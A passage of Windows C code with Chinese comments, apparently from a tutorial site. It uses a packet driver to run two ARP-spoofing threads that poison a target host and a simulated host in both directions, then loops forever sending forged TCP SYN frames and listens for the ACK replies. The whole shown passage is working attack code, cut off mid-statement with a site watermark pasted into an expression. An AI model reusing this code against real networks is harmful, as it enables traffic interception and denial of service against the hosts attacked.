{
printf("Unable to open the driver, Error Code : %lx\n", GetLastError());
return -1;
}
//创建ARP欺骗线程:
CHEAT_ARP_INFO info1={0},info2={0};
memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));
::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);
memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));
::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);
Sleep(50);
//发送TCP伪连接的SYN数据帧:
::CreateThread(NULL,0,SendSyn,NULL,0,NULL);
ListenACK(); //循环监听数据包
PacketCloseAdapter(lpAdapter); //关闭适配器
::WSACleanup();
return 0;
}
DWORD WINAPI SendSyn(void *no)
{
Sleep(100);
while(TRUE) //循环发送SYN包发起伪连接
{
char s_mac[6]={0},d_mac[6]={0};
char sendSynBuf[128]={0};
ET_HEADER et_header={0};
IP_HEADER ip_header={0};
TCP_HEADER tcp_header={0};
TCP_OPTION tcp_option={0};
PSD_HEADER psd_header={0};
//填充以太头部:
StrToMac(LOCAL_MAC,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包
//填充IP头部:
ip_header.m_ver_hlen=(4<<4(北联网教程,专业提供视频软件下载)
……